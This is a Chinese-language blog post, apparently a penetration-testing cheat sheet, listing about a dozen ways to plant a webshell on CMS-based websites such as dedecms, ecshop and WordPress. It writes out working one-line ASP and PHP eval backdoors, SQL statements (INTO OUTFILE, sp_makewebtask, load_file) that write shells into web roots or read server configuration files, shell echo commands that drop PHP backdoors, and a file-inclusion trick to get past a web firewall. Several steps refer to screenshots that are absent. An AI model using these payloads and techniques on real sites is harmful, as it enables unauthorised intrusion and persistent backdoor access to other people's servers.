方法一: 直接上传 getshell
以 dedecms 为例, 后台可以直接上传脚本文件, 从而 getshell, 具体方法如下:
即可成功上传大马, 并成功执行, 从而拿下 webshell.
坑: 通常由于权限限制, 导致只有该目录权限, 无法进入其他目录, 此时便可以采用../ 跳转到根目录, 或者其他目录, 此时所采用的方法是如下的文件改名
方法二: 数据库备份 getshell
以南方数据 cms 为例:
1, 首先上传一张图片马上去, 并且获取图片马的路径
2, 在系统管理处选择数据库备份, 进行数据库备份 getshell, 具体操作方法如下:
然后使用菜刀连接即可成功 getshell.
当所备份的数据库来源无法修改时, 我们可以通过首先将一句话木马写入数据库, 比如通过新建管理员用户, 将用户名用一句话木马代替 (用户名通常有长度限制, 在前端修改 maxlength 即可)
<%eval request ("pass")%>
然后再通过备份数据库 getshell.
方法三: 修改网站上传类型配置拿 webshell
有的网站在网站上传类型中限制了上传脚本类型文件, 我们可以去添加上传文件类型, 如添加 asp|PHP|jsp|aspx|asa|cer 等来拿 webshell.
方法四: 利用文件解析漏洞来拿 webshell
记录在了这篇博客上面: https://www.cnblogs.com/v01cano/p/10326366.html
方法五: 网站配置插马拿 webshell:
注: asp 中单引号表示单行注释作用
"%><%eval request("v01cano")%><%'
一般先试试看该选项是否可以更改, 如果可以更改, 则插马试试, 因为插马可能导致系统崩溃, 所以一般需要首先需要本地搭建环境进行测试.
方法六: 通过编辑器模板拿 webshell
1, 通过对网站的模板进行编辑写入一句话, 然后生成脚本文件拿 webshell. 比如 ecshop
2, 通过将木马添加到压缩文件, 把名字改为网站模板类型, 上传到网站服务器, 拿 webshell.
方法七: 通过添加插件 getshell
即利用网站管理员的添加插件功能 getshell, 将大马添加到插件的压缩包中, 然后上传, 从而 getshell. 比如 WordPress,dz 等等.
方法八: 执行 sql 语句写入 webshell
通过 sql 语句写入 shell, 首先执行错误的 sql 语句, 使其暴露出网站的根目录:
select "<?php phpinfo();?>" into outfile "C:\\vulcms\\ecshopv3.6\\ecshop\\v01cano.php";
关于此语句说明, 在 Windows 中有时候需要使用斜杠 / 有时候需要使用双反斜杠 \ 末尾有时候需要分号, 有时候也不需要分号.
以 ecshop 为例:
也可以先将一句话通过新建管理员写入到 user 表中, 然后通过数据库备份配合解析漏洞拿 shell.
方法九: 通过数据库拿 webshell
我们可以通过数据库执行命令导出一句话到网站根目录拿 shell
access 数据库导出一般需要利用解析漏洞 xx.asp;.xml
sqlserver 导出:
exec sp_makewebtask 'C:\test1.php','select''<%eval request("pass")%>'' '--
MySQL 命令导出 getshell:
方法 1
- Create TABLE xiaoma (xiaoma1 text NOT NULL);
- Insert INTO xiaoma (xiaoma1) VALUES('<?php eval($_POST[xiaoma]);?>');
- select xiaoma1 from xiaoma into outfile 'D:/phpstudy/www/7.php';
- Drop TABLE IF EXISTS xiaoma;
方法 2
select "<?php eval($_POST[v01cano]);?>" into outfile 'D:/phpstudy/www/a.php'
方法 3: 方法 1 和方法 2 都是在网站根目录路径已知的时候写入 shell, 当数据库路径未知时, 可以通过如下方法读取数据库路径: 网站的根目录一般在网站配置文件 httpd.conf 中, 而此目录的路径一般不变, 一般在 / apache/conf/httpd.conf 中,(在 phpmyadmin 中的时候, 我们可以选择变量选项观察其路径, 进而推测 httpd.conf 的路径), 在已知该文件路径的条件下, 我们可以通过如下方法读取该文件中的内容:
- // 创建表 a, 并且将 httpd.conf 写入到表 a 中.
- create table a(a text);load data infile "C:/phpStudy/Apache/conf/httpd.conf" into table a;
然后执行导出操作, 将该文件下载, 使用 notepad++ 打开, 最后搜索 documentroot, 即可找到网站的根目录:
httpd.conf 文件可能存在的一些路径:
Linux 中可能存在路径:
- apache
- /usr/local/MySQL
- /user/local/apache/conf/httpd.conf
- /user/local/httpd/conf/httpd.conf
- /etc/httpd/conf/httpd.conf
- /user/local/apache2/conf/httpd.conf
- Nginx:
- /user/local/nginx/conf/httpd.conf
方法四: 直接通过 load_file 函数直接加载该文件内容
select load_file('C:/phpStudy/Apache/conf/httpd.conf');
但是需要在选项中进行如下配置才会显示出来:
方法 n: 还有通过日志拿 shell 的多种方式, 已经记录在博客:
https://www.cnblogs.com/v01cano/p/10292670.html
方法十: 通过文件包含拿 webshell
先将 webshell 改为 txt 文件上传, 然后上传一个脚本文件包含该 txt 文件, 可以绕过 waf 拿 webshell.
常用的文件包含方法如下:
asp 包含:
1,<!--#include file="123.jpg"-->
2, 调用的文件必须和被调用的文件在同一目录, 否则找不到
3, 如果不在同一目录, 用下面语句也可以:
<!--#include virtual="文件所在目录 / 123.jpg"-->
PHP 包含:
- <?PHP
- Include('123.jpg');
- ?>
方法十一: 命令执行拿 webshell
- Echo ^<^?PHP @eval($_POST[v01cano]);?^>^>c:\1.PHP
- ^<^%eval request("cracer")%^>^>c:\1.PHP
十二: 没有进入后台如下拿 webshell
0day 拿 webshell
IIS 写权限拿 webshell(put 一个 shell 进去)
命令执行拿 webshell
通过注入漏洞拿 webshell
前台图片上传拿 webshell
Strusts2 拿 webshell
java 反序列拿 shell
来源: https://www.cnblogs.com/v01cano/p/10326318.html